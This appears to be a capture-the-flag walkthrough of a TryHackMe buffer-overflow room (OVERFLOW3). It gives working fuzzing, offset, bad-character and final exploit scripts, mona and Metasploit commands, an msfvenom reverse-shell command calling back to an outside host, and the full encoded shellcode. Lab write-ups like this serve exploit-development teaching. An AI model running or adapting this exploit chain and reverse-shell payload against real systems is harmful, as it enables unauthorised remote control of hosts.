This room is from try hack me prepared by Trib3rius. I am writing the walkthrough for OVERFLOW3. Let’s start.
First of all, I am going to RDP to the target device. I will start the immunity debugger and attach oscp (vulnerable server) to the debugger.
The oscp server is listening in port 1337.
Now let’s find out what are the command parameters that this server inputs. I can see 10 commands that are valid.
Now, I am sure that all of these parameters are vulnerable to a buffer overflow. But in the real world, we have to first test the command/parameter for buffer overflow. For that, we can send a huge number of characters and upon checking the Debugger, if we see the characters have overflowed from the input to the EIP, then we can be assured that it is vulnerable.
In the below example, I am sending 5000 “A” characters as a value to OVERFLOW3.
python -c 'print "A" * 5000'
Now when I send 5000 A characters the oscp server crashed. Character A overflowed and reached EIP as seen in the picture below.
Now I can confirm that it is vulnerable to Buffer Overflow. Lets start the exploitation process.
First of all, type the following commands to set a working directory for mona (one of the python commands in the debugger ). It will be useful later.
!mona config -set workingfolder c:\mona\%p
Now let’s restart the immunity debugger and attach oscp. You have to do this everytime you crash the app.
Now I am going to fuzz the command and find out the nearest bytes to crash. Python script I use is below. This script is from Josh Mason BufferOverflows.
#!/usr/bin/env python3
import socket, sys
from time import sleep
ip='10.10.187.100'
port=1337
Command="OVERFLOW3 "
string = Command + 100*"A"
while True: #Runs continuously until crash
try:
with socket.socket() as s:
s.connect((ip,port))
print("sending {} bytes".format(len(string)))
s.send(bytes(string,'latin-1'))
reply = s.recv(4096)
string += 100*"A"
sleep(0.8)
except:
print("fuzzing crashed at {} bytes".format(len(string)))
sys.exit(0)
Now when I run the above script, the program crashed at 1410 bytes.
Now we need to find the bytes offset just before it hits EIP. As our target is EIP and EIP can be manipulated to control the service. I am going to create a pattern for the length of 1500 bytes ( as our program crashed at 1410), I will use Metasploit module pattern_create for this.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1500
Now I need to modify my fuzz script to the above pattern as the payload.
#!/usr/bin/python3
import sys, socket
offset = "<Pattern Creted using pattern_create as above>"
ip = "10.10.187.100"
port = 1337
command = "OVERFLOW3 "
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
payload = command + offset
s.send((payload.encode()))
s.close()
except:
print ("Error connecting to the server")
sys.exit()
We caused the system to crash now I am going to copy the value that is in EIP and find the offset.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1500 -q 35714234
So the exact match at offset 1274. So the next four bytes are going to end up in EIP. let’s confirm that. I am going to send 1274 “A” and 4 “B” . I must see 42424242
in the EIP if our offset was right.
#!/usr/bin/python3
import sys, socket
offset = "A" * 1274 + "B" * 4
ip = "10.10.187.100"
port = 1337
command = "OVERFLOW3 "
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
payload = command + offset
s.send((payload.encode()))
s.close()
except:
print ("Error connecting to the server")
sys.exit()
Yup, the offset is correct.
Now depending on the program, they may have certain hex characters which have different effects. We call them bad characters, we want to avoid bad chars from our reverse-shell payload later so it’s important to find them.
First of all, let’s create a byte-array of all the characters except "\x00"
. Becasue \x00
is a null byte and it means the end of a string in most of the programs. So that’s usually always a bad character.
!mona bytearray -b "\x00"
Now mona will create an array file into the directory we mentioned at the start of this walkthrough. Now let’s find out other bad characters.
I am using this create.py
by Josh Mason again. It will generate all the chars except for \x00
and we will send those characters to the program and compare them to the characters by mona and find the bad characters. you might be confused but trust me it will make sense soon.
#!/usr/bin/env python3
from __future__ import print_function
bad = "00".split()
print("badchars = ")
for x in range(1, 256):
if "{:02x}".format(x) not in bad:
print("\\x" + "{:02x}".format(x), end='')
print("\n\nfor mona")
for byte in bad:
print("\\x{}".format(byte), end='')
print()
Let’s send these badchars to the program. I use the following python script.
#!/usr/bin/env python3
import socket
ip='10.10.187.100'
port=1337
badchars = "<copy the badchars generated from create.py>"
string = "OVERFLOW3 " + 1274*"A" + "B" * 4 + badchars
try:
with socket.socket() as s:
s.connect((ip,port))
print("sending pattern")
s.send(bytes(string,'latin-1'))
except:
print("failed to connect")
Now, the program will crash again. Right-click on the ESP and click “follow on dump”.
You will see all the characters in the bottom left corner
So I am now going to compare the characters in the dump with the characters in mona. And see the difference and identify the bad chars.
NB: remember oscp as the directory. It will be the name of your vulnerable app.
!mona compare -f C:\mona\oscp\bytearray.bin -a esp
Once you enter above command , mona will output the suspected bad chars as shown in the image below.
According to mona 00 11 12 40 41 5f 60 b8
are bad chars. Now, normally the character just after bad char might also return an error, so they are often identified as bad chars. We can ignore the sequential chars( You have to always double-check though as sometimes consecutive bad chars may exist).
Now let’s update the create.py to include the bad chars obtained from mona. We have to keep on doing this until the comparison result from mona says no bad characters.
!mona bytearray -b "\x00\x11\x40\x5f\x60\xb8"
Running that script one more time. Mona shows one more bad chars. ee
Now let’s add that to the bad chars and repeat the steps.
!mona bytearray -b "\x00\x11\x40\x5f\xb8\xee"
Now it is unmodified. We can be assured that we have excluded all the bad chars.
Now next step is to find the jump point which is an address that can be used to jump into another stack frame. Lets find the JMP ESP
. Mona has the easy way to find the JMP ESP
.
!mona jmp -r esp -cpb "\x00\x11\x40\x5f\xb8\xee"
Now this will show us the list of the memory addresses that we can use as the JMP ESP. One main thing to consider while choosing the memory address is that it must not have memory protection enabled. Fortunately for us, Mona usually checks this for us.
Now we need to use the memory address ( as shown by the arrow in the above pic). Which is 62501203
. Let’s set up the breakup point to this JMP ESP
address.
I am going to use the following python script to test my JMP ESP
memory address. If its the right memory address then we should hit the breakpoint if not we need to try another memory address ( next on the list).
When adding the JMP ESP memory address, We need to use it in reverse order. In our case something like this.
For address:
62501203
\x03\x12\x50\x62
(BufferOverflow Preparation)
#!/usr/bin/python3
import sys, socket
#625011af
shellcode = "A" * 1274 + "\x03\x12\x50\x62"
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.10.187.100',1337))
payload = "OVERFLOW3" + shellcode
s.send((payload.encode()))
s.close()
except:
print ("Error connecting to the server")
sys.exit()
Once we run the above command. We hit the breakpoint.
So we are on the right path. We do need a padding
Now comes the most interesting part. EXPLOIT SHELL.
Let’s create the exploit shell and we need our bad chars here.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.19 LPORT=4444 EXITFUNC=thread -b "\x00\x11\x40\x5f\xb8\xee" -f c
Our msfvenom payload
"\xfc\xbb\x13\xd0\xa3\x0c\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xef\x38\x21\x0c\x0f"
"\xb9\x46\x84\xea\x88\x46\xf2\x7f\xba\x76\x70\x2d\x37\xfc\xd4"
"\xc5\xcc\x70\xf1\xea\x65\x3e\x27\xc5\x76\x13\x1b\x44\xf5\x6e"
"\x48\xa6\xc4\xa0\x9d\xa7\x01\xdc\x6c\xf5\xda\xaa\xc3\xe9\x6f"
"\xe6\xdf\x82\x3c\xe6\x67\x77\xf4\x09\x49\x26\x8e\x53\x49\xc9"
"\x43\xe8\xc0\xd1\x80\xd5\x9b\x6a\x72\xa1\x1d\xba\x4a\x4a\xb1"
"\x83\x62\xb9\xcb\xc4\x45\x22\xbe\x3c\xb6\xdf\xb9\xfb\xc4\x3b"
"\x4f\x1f\x6e\xcf\xf7\xfb\x8e\x1c\x61\x88\x9d\xe9\xe5\xd6\x81"
"\xec\x2a\x6d\xbd\x65\xcd\xa1\x37\x3d\xea\x65\x13\xe5\x93\x3c"
"\xf9\x48\xab\x5e\xa2\x35\x09\x15\x4f\x21\x20\x74\x18\x86\x09"
"\x86\xd8\x80\x1a\xf5\xea\x0f\xb1\x91\x46\xc7\x1f\x66\xa8\xf2"
"\xd8\xf8\x57\xfd\x18\xd1\x93\xa9\x48\x49\x35\xd2\x02\x89\xba"
"\x07\x84\xd9\x14\xf8\x65\x89\xd4\xa8\x0d\xc3\xda\x97\x2e\xec"
"\x30\xb0\xc5\x17\xd3\xb5\x1d\x35\xb2\xa2\x1f\x39\xa5\x6e\xa9"
"\xdf\xaf\x9e\xff\x48\x58\x06\x5a\x02\xf9\xc7\x70\x6f\x39\x43"
"\x77\x90\xf4\xa4\xf2\x82\x61\x45\x49\xf8\x24\x5a\x67\x94\xab"
"\xc9\xec\x64\xa5\xf1\xba\x33\xe2\xc4\xb2\xd1\x1e\x7e\x6d\xc7"
"\xe2\xe6\x56\x43\x39\xdb\x59\x4a\xcc\x67\x7e\x5c\x08\x67\x3a"
"\x08\xc4\x3e\x94\xe6\xa2\xe8\x56\x50\x7d\x46\x31\x34\xf8\xa4"
"\x82\x42\x05\xe1\x74\xaa\xb4\x5c\xc1\xd5\x79\x09\xc5\xae\x67"
"\xa9\x2a\x65\x2c\xc9\xc8\xaf\x59\x62\x55\x3a\xe0\xef\x66\x91"
"\x27\x16\xe5\x13\xd8\xed\xf5\x56\xdd\xaa\xb1\x8b\xaf\xa3\x57"
"\xab\x1c\xc3\x7d\xab\xa2\x3b\x7e"
Let’s add this payload to our final exploit script and gain reverse shell. This script is from Tib3rius THM room.
import socket
ip = "10.10.187.100"
port = 1337
prefix = "OVERFLOW3 "
offset = 1274
overflow = "A" * offset
retn = "\x03\x12\x50\x62"
padding = "\x90" * 16
payload = "<copy from above and put it here"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
we used padding because our payload is encoded and we need some time for it to decode. That’s the reason for padding ( \x90
means no operation
* 16 times)
Now when we run the above script we get the reverse shell. ( Make sure you have oscp.exe running in the target system, you don’t need debugger for this last step)
Wow, this was really fun. Thanks, Tib3rius for creating this room.